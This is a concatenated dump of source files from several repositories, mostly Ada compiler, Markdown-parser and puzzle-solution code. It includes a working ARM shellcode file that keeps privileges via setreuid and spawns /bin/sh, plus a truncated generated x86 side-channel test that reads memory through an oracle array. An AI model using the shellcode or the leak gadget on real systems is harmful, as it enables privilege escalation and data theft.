Issue_Msg (Value1 : Node_Id; Value2 : Uint) is begin Issue_Msg (Expr_Value (Value1), Value2); end Issue_Msg; procedure Issue_Msg (Value1 : Uint; Value2 : Node_Id) is begin Issue_Msg (Value1, Expr_Value (Value2)); end Issue_Msg; procedure Issue_Msg (Value1 : Uint; Value2 : Uint) is begin -- In some situations, we call this with a null range, and -- obviously we don't want to complain in this case! if Value1 > Value2 then return; end if; -- Case of only one value that is missing if Value1 = Value2 then if Is_Integer_Type (Bounds_Type) then Error_Msg_Uint_1 := Value1; Error_Msg ("missing case value: ^!", Msg_Sloc); else Error_Msg_Name_1 := Choice_Image (Value1, Bounds_Type); Error_Msg ("missing case value: %!", Msg_Sloc); end if; -- More than one choice value, so print range of values else if Is_Integer_Type (Bounds_Type) then Error_Msg_Uint_1 := Value1; Error_Msg_Uint_2 := Value2; Error_Msg ("missing case values: ^ .. ^!", Msg_Sloc); else Error_Msg_Name_1 := Choice_Image (Value1, Bounds_Type); Error_Msg_Name_2 := Choice_Image (Value2, Bounds_Type); Error_Msg ("missing case values: % .. %!", Msg_Sloc); end if; end if; end Issue_Msg; --------------- -- Lt_Choice -- --------------- function Lt_Choice (C1, C2 : Natural) return Boolean is begin return Expr_Value (Choice_Table (Nat (C1)).Lo) <= Expr_Value (Choice_Table (Nat (C2)).Lo); end Lt_Choice; ----------------- -- Move_Choice -- ----------------- procedure Move_Choice (From : Natural; To : Natural) is begin Choice_Table (Nat (To)) := Choice_Table (Nat (From)); end Move_Choice; -- Variables local to Check_Choices Choice : Node_Id; Bounds_Lo : constant Node_Id := Type_Low_Bound (Bounds_Type); Bounds_Hi : constant Node_Id := Type_High_Bound (Bounds_Type); Prev_Choice : Node_Id; Hi : Uint; Lo : Uint; Prev_Hi : Uint; -- Start processing for Check_Choices begin -- Choice_Table must start at 0 which is an unused location used -- by the sorting algorithm. However the first valid position for -- a discrete choice is 1. pragma Assert (Choice_Table'First = 0); if Choice_Table'Last = 0 then if not Others_Present then Issue_Msg (Bounds_Lo, Bounds_Hi); end if; return; end if; Sort (Positive (Choice_Table'Last), Move_Choice'Unrestricted_Access, Lt_Choice'Unrestricted_Access); Lo := Expr_Value (Choice_Table (1).Lo); Hi := Expr_Value (Choice_Table (1).Hi); Prev_Hi := Hi; if not Others_Present and then Expr_Value (Bounds_Lo) < Lo then Issue_Msg (Bounds_Lo, Lo - 1); end if; for J in 2 .. Choice_Table'Last loop Lo := Expr_Value (Choice_Table (J).Lo); Hi := Expr_Value (Choice_Table (J).Hi); if Lo <= Prev_Hi then Prev_Choice := Choice_Table (J - 1).Node; Choice := Choice_Table (J).Node; if Sloc (Prev_Choice) <= Sloc (Choice) then Error_Msg_Sloc := Sloc (Prev_Choice); Error_Msg_N ("duplication of choice value#", Choice); else Error_Msg_Sloc := Sloc (Choice); Error_Msg_N ("duplication of choice value#", Prev_Choice); end if; elsif not Others_Present and then Lo /= Prev_Hi + 1 then Issue_Msg (Prev_Hi + 1, Lo - 1); end if; Prev_Hi := Hi; end loop; if not Others_Present and then Expr_Value (Bounds_Hi) > Hi then Issue_Msg (Hi + 1, Bounds_Hi); end if; end Check_Choices; ------------------ -- Choice_Image -- ------------------ function Choice_Image (Value : Uint; Ctype : Entity_Id) return Name_Id is Rtp : constant Entity_Id := Root_Type (Ctype); Lit : Entity_Id; C : Int; begin -- For character, or wide character. If we are in 7-bit ASCII graphic -- range, then build and return appropriate character literal name if Rtp = Standard_Character or else Rtp = Standard_Wide_Character then C := UI_To_Int (Value); if C in 16#20# .. 16#7E# then Set_Character_Literal_Name (Char_Code (UI_To_Int (Value))); return Name_Find; end if; -- For user defined enumeration type, find enum/char literal else Lit := First_Literal (Rtp); for J in 1 .. UI_To_Int (Value) loop Next_Literal (Lit); end loop; -- If enumeration literal, just return its value if Nkind (Lit) = N_Defining_Identifier then return Chars (Lit); -- For character literal, get the name and use it if it is -- for a 7-bit ASCII graphic character in 16#20#..16#7E#. else Get_Decoded_Name_String (Chars (Lit)); if Name_Len = 3 and then Name_Buffer (2) in Character'Val (16#20#) .. Character'Val (16#7E#) then return Chars (Lit); end if; end if; end if; -- If we fall through, we have a character literal which is not in -- the 7-bit ASCII graphic set. For such cases, we construct the -- name "type'val(nnn)" where type is the choice type, and nnn is -- the pos value passed as an argument to Choice_Image. Get_Name_String (Chars (First_Subtype (Ctype))); Name_Len := Name_Len + 1; Name_Buffer (Name_Len) := '''; Name_Len := Name_Len + 1; Name_Buffer (Name_Len) := 'v'; Name_Len := Name_Len + 1; Name_Buffer (Name_Len) := 'a'; Name_Len := Name_Len + 1; Name_Buffer (Name_Len) := 'l'; Name_Len := Name_Len + 1; Name_Buffer (Name_Len) := '('; UI_Image (Value); for J in 1 .. UI_Image_Length loop Name_Len := Name_Len + 1; Name_Buffer (Name_Len) := UI_Image_Buffer (J); end loop; Name_Len := Name_Len + 1; Name_Buffer (Name_Len) := ')'; return Name_Find; end Choice_Image; ----------- -- No_OP -- ----------- procedure No_OP (C : Node_Id) is begin null; end No_OP; -------------------------------- -- Generic_Choices_Processing -- -------------------------------- package body Generic_Choices_Processing is --------------------- -- Analyze_Choices -- --------------------- procedure Analyze_Choices (N : Node_Id; Subtyp : Entity_Id; Choice_Table : in out Choice_Table_Type; Last_Choice : out Nat; Raises_CE : out Boolean; Others_Present : out Boolean) is Nb_Choices : constant Nat := Choice_Table'Length; Sort_Choice_Table : Sort_Choice_Table_Type (0 .. Nb_Choices); Choice_Type : constant Entity_Id := Base_Type (Subtyp); -- The actual type against which the discrete choices are -- resolved. Note that this type is always the base type not the -- subtype of the ruling expression, index or discriminant. Bounds_Type : Entity_Id; -- The type from which are derived the bounds of the values -- covered by th discrete choices (see 3.8.1 (4)). If a discrete -- choice specifies a value outside of these bounds we have an error. Bounds_Lo : Uint; Bounds_Hi : Uint; -- The actual bounds of the above type. Expected_Type : Entity_Id; -- The expected type of each choice. Equal to Choice_Type, except -- if the expression is universal, in which case the choices can -- be of any integer type. procedure Check (Choice : Node_Id; Lo, Hi : Node_Id); -- Checks the validity of the bounds of a choice. When the bounds -- are static and no error occurred the bounds are entered into -- the choices table so that they can be sorted later on. ----------- -- Check -- ----------- procedure Check (Choice : Node_Id; Lo, Hi : Node_Id) is Lo_Val : Uint; Hi_Val : Uint; begin -- First check if an error was already detected on either bounds if Etype (Lo) = Any_Type or else Etype (Hi) = Any_Type then return; -- Do not insert non static choices in the table to be sorted elsif not Is_Static_Expression (Lo) or else not Is_Static_Expression (Hi) then Process_Non_Static_Choice (Choice); return; -- Ignore range which raise constraint error elsif Raises_Constraint_Error (Lo) or else Raises_Constraint_Error (Hi) then Raises_CE := True; return; -- Otherwise we have an OK static choice else Lo_Val := Expr_Value (Lo); Hi_Val := Expr_Value (Hi); -- Do not insert null ranges in the choices table if Lo_Val > Hi_Val then Process_Empty_Choice (Choice); return; end if; end if; -- Check for bound out of range. if Lo_Val < Bounds_Lo then if Is_Integer_Type (Bounds_Type) then Error_Msg_Uint_1 := Bounds_Lo; Error_Msg_N ("minimum allowed choice value is^", Lo); else Error_Msg_Name_1 := Choice_Image (Bounds_Lo, Bounds_Type); Error_Msg_N ("minimum allowed choice value is%", Lo); end if; elsif Hi_Val > Bounds_Hi then if Is_Integer_Type (Bounds_Type) then Error_Msg_Uint_1 := Bounds_Hi; Error_Msg_N ("maximum allowed choice value is^", Hi); else Error_Msg_Name_1 := Choice_Image (Bounds_Hi, Bounds_Type); Error_Msg_N ("maximum allowed choice value is%", Hi); end if; end if; -- We still store the bounds in the table, even if they are out -- of range, since this may prevent unnecessary cascaded errors -- for values that are covered by such an excessive range. Last_Choice := Last_Choice + 1; Sort_Choice_Table (Last_Choice).Lo := Lo; Sort_Choice_Table (Last_Choice).Hi := Hi; Sort_Choice_Table (Last_Choice).Node := Choice; end Check; -- Variables local to Analyze_Choices Alt : Node_Id; -- A case statement alternative, an array aggregate component -- association or a variant in a record type declaration Choice : Node_Id; Kind : Node_Kind; -- The node kind of the current Choice. E : Entity_Id; -- Start of processing for Analyze_Choices begin Last_Choice := 0; Raises_CE := False; Others_Present := False; -- If Subtyp is not a static subtype Ada 95 requires then we use -- the bounds of its base type to determine the values covered by -- the discrete choices. if Is_OK_Static_Subtype (Subtyp) then Bounds_Type := Subtyp; else Bounds_Type := Choice_Type; end if; -- Obtain static bounds of type, unless this is a generic formal -- discrete type for which all choices will be non-static. if not Is_Generic_Type (Root_Type (Bounds_Type)) or else Ekind (Bounds_Type) /= E_Enumeration_Type then Bounds_Lo := Expr_Value (Type_Low_Bound (Bounds_Type)); Bounds_Hi := Expr_Value (Type_High_Bound (Bounds_Type)); end if; if Choice_Type = Universal_Integer then Expected_Type := Any_Integer; else Expected_Type := Choice_Type; end if; -- Now loop through the case statement alternatives or array -- aggregate component associations or record variants. Alt := First (Get_Alternatives (N)); while Present (Alt) loop -- If pragma, just analyze it if Nkind (Alt) = N_Pragma then Analyze (Alt); -- Otherwise check each choice against its base type else Choice := First (Get_Choices (Alt)); while Present (Choice) loop Analyze (Choice); Kind := Nkind (Choice); -- Choice is a Range if Kind = N_Range or else (Kind = N_Attribute_Reference and then Attribute_Name (Choice) = Name_Range) then Resolve (Choice, Expected_Type); Check (Choice, Low_Bound (Choice), High_Bound (Choice)); -- Choice is a subtype name elsif Is_Entity_Name (Choice) and then Is_Type (Entity (Choice)) then if not Covers (Expected_Type, Etype (Choice)) then Wrong_Type (Choice, Choice_Type); else E := Entity (Choice); if not Is_Static_Subtype (E) then Process_Non_Static_Choice (Choice); else Check (Choice, Type_Low_Bound (E), Type_High_Bound (E)); end if; end if; -- Choice is a subtype indication elsif Kind = N_Subtype_Indication then Resolve_Discrete_Subtype_Indication (Choice, Expected_Type); if Etype (Choice) /= Any_Type then declare C : constant Node_Id := Constraint (Choice); R : constant Node_Id := Range_Expression (C); L : constant Node_Id := Low_Bound (R); H : constant Node_Id := High_Bound (R); begin E := Entity (Subtype_Mark (Choice)); if not Is_Static_Subtype (E) then Process_Non_Static_Choice (Choice); else if Is_OK_Static_Expression (L) and then Is_OK_Static_Expression (H) then if Expr_Value (L) > Expr_Value (H) then Process_Empty_Choice (Choice); else if Is_Out_Of_Range (L, E) then Apply_Compile_Time_Constraint_Error (L, "static value out of range"); end if; if Is_Out_Of_Range (H, E) then Apply_Compile_Time_Constraint_Error (H, "static value out of range"); end if; end if; end if; Check (Choice, L, H); end if; end; end if; -- The others choice is only allowed for the last -- alternative and as its only choice. elsif Kind = N_Others_Choice then if not (Choice = First (Get_Choices (Alt)) and then Choice = Last (Get_Choices (Alt)) and then Alt = Last (Get_Alternatives (N))) then Error_Msg_N ("the choice OTHERS must appear alone and last", Choice); return; end if; Others_Present := True; -- Only other possibility is an expression else Resolve (Choice, Expected_Type); Check (Choice, Choice, Choice); end if; Next (Choice); end loop; Process_Associated_Node (Alt); end if; Next (Alt); end loop; Check_Choices (Sort_Choice_Table (0 .. Last_Choice), Bounds_Type, Others_Present or else (Choice_Type = Universal_Integer), Sloc (N)); -- Now copy the sorted discrete choices for J in 1 .. Last_Choice loop Choice_Table (Choice_Table'First - 1 + J) := Sort_Choice_Table (J); end loop; end Analyze_Choices; ----------------------- -- Number_Of_Choices -- ----------------------- function Number_Of_Choices (N : Node_Id) return Nat is Alt : Node_Id; -- A case statement alternative, an array aggregate component -- association or a record variant. Choice : Node_Id; Count : Nat := 0; begin if not Present (Get_Alternatives (N)) then return 0; end if; Alt := First_Non_Pragma (Get_Alternatives (N)); while Present (Alt) loop Choice := First (Get_Choices (Alt)); while Present (Choice) loop if Nkind (Choice) /= N_Others_Choice then Count := Count + 1; end if; Next (Choice); end loop; Next_Non_Pragma (Alt); end loop; return Count; end Number_Of_Choices; end Generic_Choices_Processing; end Sem_Case;
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/opt7.ads
best08618/asylo
7
25125
<gh_stars>1-10 with Ada.Calendar; use Ada.Calendar; package Opt7 is type time_t is (Absolute_Time, Delta_Time); procedure Parse (Str : String; Time_Type : out time_t; Abs_Time : out Time; Delt_Time : out Duration); end Opt7;
programs/oeis/133/A133585.asm
jmorken/loda
1
16299
<reponame>jmorken/loda ; A133585: Expansion of x - x^2*(2*x+1)*(x^2-2) / ( (x^2-x-1)*(x^2+x-1) ). ; 1,2,4,5,10,13,26,34,68,89,178,233,466,610,1220,1597,3194,4181,8362,10946,21892,28657,57314,75025,150050,196418,392836,514229,1028458,1346269,2692538,3524578,7049156,9227465,18454930,24157817 mov $31,$0 mov $33,$0 add $33,1 lpb $33 mov $0,$31 sub $33,1 sub $0,$33 mov $27,$0 mov $29,2 lpb $29 clr $0,27 mov $0,$27 sub $29,1 add $0,$29 sub $0,1 add $2,3 div $2,2 lpb $0 sub $0,1 mov $1,$0 cal $1,133586 ; Expansion of x*(1+2*x)/( (x^2-x-1)*(x^2+x-1) ). sub $0,1 add $2,$1 lpe mov $1,$2 mov $30,$29 lpb $30 mov $28,$1 sub $30,1 lpe lpe lpb $27 mov $27,1 sub $28,$1 lpe add $32,$28 lpe mov $1,$32
src/signal_storage.ads
Blady-Com/Gate3
1
22830
<reponame>Blady-Com/Gate3 with Glib.Xml_Int; use Glib.Xml_Int; package Signal_Storage is -- Bad_Identifier : exception; -- raised when any signal name gives a bad Ada identifier -- type Window_Record is record Node : Node_Ptr; Signumber : Natural := 0; end record; -- For each window, store the XML node and the number of signals in the -- widget Max_Object : constant := 50; type Object_Index is range 0 .. Max_Object; Object_Store : array (1 .. Object_Index'Last) of Window_Record; -- storage for top windows that have signals or shows. type Cb_Type is (Func, Proc); -- Callback type is a function or procedure -- function for event; procedure otherwise type Signal_Rec is record Signal : Node_Ptr; Top_Window : Object_Index; Callback : Cb_Type := Proc; Has_Quit : Boolean := False; end record; -- description of infos required to process a signal procedure Inc_Object_Number; -- increment the number of top windows to show function Get_Object_Number return Object_Index; -- returns the number of top windows to show procedure Initialize_Signals_Store; procedure Store_Signal_Node (Signal : in Node_Ptr; Top_Object : in Object_Index); function Get_Signal_Number return Natural; -- returns the total number of signals in the project function Retrieve_Signal_Node (Item : Natural) return Signal_Rec; end Signal_Storage;
35-speed.asm
yuwanzeon/human-resource-machine-solutions
1
2093
<reponame>yuwanzeon/human-resource-machine-solutions -- HUMAN RESOURCE MACHINE PROGRAM -- COPYFROM 14 COPYTO 13 INBOX COPYTO 0 OUTBOX INBOX COPYTO 1 SUB 0 JUMPZ c COPYFROM 1 OUTBOX BUMPUP 13 INBOX COPYTO 2 SUB 0 JUMPZ b COPYFROM 2 SUB 1 JUMPZ a COPYFROM 2 OUTBOX BUMPUP 13 a: b: c: BUMPUP 13 d: e: INBOX COPYTO 12 COPYFROM 13 COPYTO 11 f: BUMPDN 11 JUMPN g COPYFROM 12 SUB [11] JUMPZ e JUMP f g: COPYFROM 12 COPYTO [13] OUTBOX BUMPUP 13 JUMP d
20-speed.asm
yuwanzeon/human-resource-machine-solutions
1
29480
-- HUMAN RESOURCE MACHINE PROGRAM -- a: b: c: d: e: f: g: h: i: j: INBOX JUMPZ k COPYTO 0 BUMPDN 0 JUMPZ l BUMPDN 0 JUMPZ m BUMPDN 0 JUMPZ n BUMPDN 0 JUMPZ o BUMPDN 0 JUMPZ p BUMPDN 0 JUMPZ q BUMPDN 0 JUMPZ r BUMPDN 0 JUMPZ s INBOX COPYTO 0 ADD 0 ADD 0 COPYTO 0 ADD 0 ADD 0 OUTBOX JUMP b k: SUB 0 OUTBOX INBOX JUMP c l: INBOX OUTBOX JUMP d m: INBOX COPYTO 0 ADD 0 OUTBOX JUMP e n: INBOX COPYTO 0 ADD 0 ADD 0 OUTBOX JUMP f o: INBOX COPYTO 0 ADD 0 ADD 0 ADD 0 OUTBOX JUMP h p: INBOX COPYTO 0 ADD 0 COPYTO 1 ADD 0 ADD 1 OUTBOX JUMP j q: INBOX COPYTO 0 ADD 0 COPYTO 0 ADD 0 ADD 0 OUTBOX JUMP g r: INBOX COPYTO 0 ADD 0 ADD 0 COPYTO 1 ADD 0 ADD 1 OUTBOX JUMP i s: INBOX COPYTO 0 ADD 0 ADD 0 ADD 0 COPYTO 0 ADD 0 OUTBOX JUMP a
sources/md/markdown-parsers.adb
reznikmm/markdown
0
17159
-- SPDX-FileCopyrightText: 2020 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT ---------------------------------------------------------------- with Ada.Tags.Generic_Dispatching_Constructor; with League.Regexps; with Markdown.Link_Reference_Definitions; with Markdown.List_Items; with Markdown.Lists; package body Markdown.Parsers is Blank_Pattern : constant League.Regexps.Regexp_Pattern := League.Regexps.Compile (League.Strings.To_Universal_String ("^[\ \t]*$")); type New_Block_Access is access all Markdown.Blocks.Block'Class; procedure Create_Block (Self : in out Parser'Class; Line : in out Blocks.Text_Line; Tag : Ada.Tags.Tag; Containers : in out Container_Vectors.Vector; Leaf : out Blocks.Block_Access); procedure Find_Block_Start (Self : Parser'Class; Line : Blocks.Text_Line; Tag : out Ada.Tags.Tag; Int : out Boolean); function Normalize_Link_Label (Self : Parser'Class; Label : League.Strings.Universal_String) return League.Strings.Universal_String; ---------------------- -- Find_Block_Start -- ---------------------- procedure Find_Block_Start (Self : Parser'Class; Line : Blocks.Text_Line; Tag : out Ada.Tags.Tag; Int : out Boolean) is use type Ada.Tags.Tag; begin Tag := Ada.Tags.No_Tag; for Filter of Self.Filters loop Filter (Line, Tag, Int); exit when Tag /= Ada.Tags.No_Tag; end loop; end Find_Block_Start; ----------------- -- Append_Line -- ----------------- procedure Append_Line (Self : in out Parser'Class; Text : League.Strings.Universal_String) is procedure Close_Blocks (Open : in out Container_Vectors.Vector); ------------------ -- Close_Blocks -- ------------------ procedure Close_Blocks (Open : in out Container_Vectors.Vector) is begin if Open.Is_Empty and not Self.Open.Is_Empty then Self.Blocks.Append_Child (Markdown.Blocks.Block_Access (Self.Open.First_Element)); end if; Self.Open.Move (Source => Open); end Close_Blocks; use type Ada.Tags.Tag; Tag : Ada.Tags.Tag; New_Containers : Container_Vectors.Vector; New_Leaf : Blocks.Block_Access; Int_Para : Boolean; Line : Markdown.Blocks.Text_Line := (Text, 1); Open : Container_Vectors.Vector; Match : Boolean; begin for Block of Self.Open loop Block.Consume_Continuation_Markers (Line, Match); exit when not Match; Open.Append (Block); end loop; Self.Find_Block_Start (Line, Tag, Int_Para); if not Self.Open.Is_Empty and not Match then Self.Open_Leaf := null; elsif Self.Open_Leaf.Is_Assigned then Match := False; Self.Open_Leaf.Append_Line (Line, Int_Para, Match); if Match then Line.Line.Clear; Tag := Ada.Tags.No_Tag; else Self.Open_Leaf := null; end if; end if; if not Line.Line.Is_Empty then while Tag /= Ada.Tags.No_Tag and not New_Leaf.Is_Assigned loop Self.Create_Block (Line, Tag, New_Containers, New_Leaf); Self.Find_Block_Start (Line, Tag, Int_Para); end loop; Self.Open_Leaf := New_Leaf; pragma Assert (Blank_Pattern.Find_Match (Line.Line).Is_Matched); end if; Close_Blocks (Open); if New_Leaf.Is_Assigned then if New_Containers.Is_Empty then if Self.Open.Is_Empty then Self.Blocks.Append_Child (New_Leaf); else Self.Open.Last_Element.Append_Child (New_Leaf); end if; end if; end if; if not Self.Open.Is_Empty and not New_Containers.Is_Empty then Self.Open.Last_Element.Append_Child (Markdown.Blocks.Block_Access (New_Containers.First_Element)); end if; Self.Open.Append (New_Containers); end Append_Line; ------------------ -- Create_Block -- ------------------ procedure Create_Block (Self : in out Parser'Class; Line : in out Blocks.Text_Line; Tag : Ada.Tags.Tag; Containers : in out Container_Vectors.Vector; Leaf : out Blocks.Block_Access) is pragma Unreferenced (Self); function Constructor is new Ada.Tags.Generic_Dispatching_Constructor (Markdown.Blocks.Block, Markdown.Blocks.Text_Line, Markdown.Blocks.Create); Object : New_Block_Access; Block : Markdown.Blocks.Block_Access; Text : aliased Markdown.Blocks.Text_Line := Line; begin Object := new Markdown.Blocks.Block'Class' (Constructor (Tag, Text'Access)); Block := Markdown.Blocks.Block_Access (Object); Line := Text; if not Containers.Is_Empty then Containers.Last_Element.Append_Child (Block); end if; if Block.Is_Container then Containers.Append (Markdown.Blocks.Container_Block_Access (Block)); else Leaf := Block; end if; end Create_Block; -------------------------- -- Normalize_Link_Label -- -------------------------- function Normalize_Link_Label (Self : Parser'Class; Label : League.Strings.Universal_String) return League.Strings.Universal_String is pragma Unreferenced (Self); List : constant League.String_Vectors.Universal_String_Vector := Label.To_Casefold.Split (' ', League.Strings.Skip_Empty); begin return List.Join (" "); end Normalize_Link_Label; ------------------- -- Parse_Inlines -- ------------------- function Parse_Inlines (Self : Parser'Class; Text : League.String_Vectors.Universal_String_Vector) return Markdown.Inline_Parsers.Annotated_Text is begin return Markdown.Inline_Parsers.Parse (Self, Text); end Parse_Inlines; -------------- -- Register -- -------------- procedure Register (Self : in out Parser'Class; Filter : Block_Start_Filter) is begin Self.Filters.Append (Filter); end Register; ------------- -- Resolve -- ------------- overriding procedure Resolve (Self : Parser; Label : League.Strings.Universal_String; Found : out Boolean; Destination : out League.Strings.Universal_String; Title : out League.String_Vectors.Universal_String_Vector) is Cursor : constant Link_Maps.Cursor := Self.Links.Find (Self.Normalize_Link_Label (Label)); begin Found := Link_Maps.Has_Element (Cursor); if Found then Destination := Link_Maps.Element (Cursor).Destination; Title := Link_Maps.Element (Cursor).Title; end if; end Resolve; ---------- -- Stop -- ---------- procedure Stop (Self : in out Parser'Class) is type Visitor is new Markdown.Visitors.Visitor with null record; overriding procedure Link_Reference_Definition (Ignore : in out Visitor; Value : Link_Reference_Definitions.Link_Reference_Definition); overriding procedure Blockquote (Self : in out Visitor; Value : in out Markdown.Blockquotes.Blockquote); overriding procedure List (Self : in out Visitor; Value : Markdown.Lists.List); overriding procedure List_Item (Self : in out Visitor; Value : in out Markdown.List_Items.List_Item); overriding procedure Blockquote (Self : in out Visitor; Value : in out Markdown.Blockquotes.Blockquote) is begin Value.Wrap_List_Items; Value.Visit_Children (Self); end Blockquote; overriding procedure Link_Reference_Definition (Ignore : in out Visitor; Value : Link_Reference_Definitions.Link_Reference_Definition) is Cursor : Link_Maps.Cursor; Success : Boolean; begin Self.Links.Insert (Self.Normalize_Link_Label (Value.Label), (Value.Destination, Value.Title), Cursor, Success); end Link_Reference_Definition; overriding procedure List (Self : in out Visitor; Value : Markdown.Lists.List) is begin Value.Visit_Children (Self); end List; overriding procedure List_Item (Self : in out Visitor; Value : in out Markdown.List_Items.List_Item) is begin Value.Wrap_List_Items; Value.Visit_Children (Self); end List_Item; Updater : Visitor; begin if not Self.Open.Is_Empty then Self.Blocks.Append_Child (Markdown.Blocks.Block_Access (Self.Open.First_Element)); end if; Self.Links.Clear; Self.Blocks.Wrap_List_Items; Self.Visit (Updater); end Stop; ----------- -- Visit -- ----------- procedure Visit (Self : Parser'Class; Visitor : in out Markdown.Visitors.Visitor'Class) is begin Self.Blocks.Visit_Children (Visitor); end Visit; end Markdown.Parsers;
arm_32bit/execve_setreuid.asm
japkettu/shellcode
0
12875
.section .text .global _start _start: @ enter thumbmode (avoid null bytes) .code 32 add r6, pc, #1 bx r6 .code 16 @ uid_t geteuid(void) @ r7: 49 mov r7, #49 @ geteuid svc 1 @ execute syscall (no null bytes) @ int setreuid(uid_t ruid, uid_t euid) @ r0: r0 (geteuid return value) @ r1: r0 @ r7: 70 mov r1, r0 mov r7, #70 @ setreuid svc 1 @ execve(const char *filename, char *const argv[],char *const envp[]); @ r0: //bin/sh @ r1: //bin/sh @ r2: 0 @ r7: 11 (syscall number for execve) sub r2,r2,r2 mov r0, pc add r0, #8 @ 2 * intstructions before .ascii str r0, [sp, #4] add r1, sp, #4 mov r7, #11 @ execve svc 1 @ syscall .ascii "/usr/bin/id"
Transynther/x86/_processed/US/_st_/i7-8650U_0xd2_notsx.log_2_94.asm
ljhsiun2/medusa
9
95997
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0xaca3, %rsi lea addresses_A_ht+0x3fb3, %rdi nop cmp $52388, %r13 mov $98, %rcx rep movsq nop xor %r12, %r12 lea addresses_WT_ht+0x11ea3, %rsi lea addresses_normal_ht+0x144a3, %rdi nop nop nop and $6996, %r14 mov $2, %rcx rep movsq nop nop nop nop nop cmp $24962, %r12 lea addresses_UC_ht+0x4161, %rsi nop nop nop add $29868, %rbx vmovups (%rsi), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %r14 nop nop nop nop xor %r13, %r13 pop %rsi pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r9 push %rax push %rcx // Store mov $0x2a8c0000000ca3, %rax nop nop nop dec %r10 mov $0x5152535455565758, %r9 movq %r9, %xmm5 vmovups %ymm5, (%rax) nop nop nop nop nop sub %rax, %rax // Faulty Load lea addresses_US+0x7ca3, %r14 clflush (%r14) nop nop nop nop nop inc %rax mov (%r14), %r9 lea oracles, %rax and $0xff, %r9 shlq $12, %r9 mov (%rax,%r9,1), %r9 pop %rcx pop %rax pop %r9 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'58': 2} 58 58 */
Transynther/x86/_processed/NONE/_zr_xt_/i7-7700_9_0x48_notsx.log_21829_384.asm
ljhsiun2/medusa
9
95463
<reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/NONE/_zr_xt_/i7-7700_9_0x48_notsx.log_21829_384.asm .global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x3d5c, %r12 nop nop add %r11, %r11 mov (%r12), %rbx nop nop nop sub $46383, %rax lea addresses_normal_ht+0x118bc, %rsi lea addresses_UC_ht+0x3204, %rdi add $63649, %rbp mov $11, %rcx rep movsw nop cmp $20345, %r12 lea addresses_D_ht+0x1ef5c, %rsi lea addresses_A_ht+0xfbec, %rdi nop nop nop dec %r12 mov $11, %rcx rep movsw nop nop nop nop and $62937, %r12 lea addresses_A_ht+0x5f5c, %rcx nop nop nop nop xor $5724, %rbx mov $0x6162636465666768, %rsi movq %rsi, %xmm7 and $0xffffffffffffffc0, %rcx vmovaps %ymm7, (%rcx) nop nop nop nop nop add %rbx, %rbx lea addresses_normal_ht+0x6f60, %rcx nop nop nop nop xor $35980, %rdi mov (%rcx), %rbx nop nop nop and $57377, %r12 lea addresses_A_ht+0x455c, %rbx nop add %rsi, %rsi movw $0x6162, (%rbx) nop nop dec %rsi lea addresses_D_ht+0x11e3c, %rax nop sub %r12, %r12 vmovups (%rax), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %rbp nop nop nop nop nop and %rbp, %rbp lea addresses_D_ht+0x1535c, %rcx nop inc %rsi mov $0x6162636465666768, %rax movq %rax, %xmm4 movups %xmm4, (%rcx) nop nop nop nop cmp %rsi, %rsi lea addresses_UC_ht+0x7d5c, %rsi lea addresses_A_ht+0x17d5c, %rdi nop nop inc %rbx mov $65, %rcx rep movsl nop nop nop nop xor %rdi, %rdi lea addresses_WT_ht+0x1e05c, %rsi lea addresses_A_ht+0x12d5c, %rdi nop nop nop nop inc %rax mov $2, %rcx rep movsl nop nop nop xor %rax, %rax lea addresses_WT_ht+0x3a74, %rsi lea addresses_UC_ht+0x115c, %rdi and %r12, %r12 mov $11, %rcx rep movsl and %rcx, %rcx lea addresses_WC_ht+0x4d78, %rbx nop add $59290, %rax movl $0x61626364, (%rbx) nop nop cmp %rdi, %rdi lea addresses_A_ht+0x1cc5c, %rbp nop nop nop nop sub $10529, %rax movb (%rbp), %r12b nop nop nop xor $46339, %r11 lea addresses_normal_ht+0x1c018, %rsi lea addresses_normal_ht+0x93f0, %rdi nop nop nop nop and %r11, %r11 mov $103, %rcx rep movsb xor %r11, %r11 lea addresses_D_ht+0xd7c, %rsi nop cmp $19543, %rbx movb $0x61, (%rsi) nop nop nop nop nop and %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r8 push %rax push %rbp push %rcx push %rdx // Store lea addresses_A+0xb2c, %rax clflush (%rax) and %r8, %r8 mov $0x5152535455565758, %rcx movq %rcx, (%rax) cmp %rcx, %rcx // Faulty Load lea addresses_A+0x855c, %rdx nop nop nop dec %rcx mov (%rdx), %r8w lea oracles, %rdx and $0xff, %r8 shlq $12, %r8 mov (%rdx,%r8,1), %r8 pop %rdx pop %rcx pop %rbp pop %rax pop %r8 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 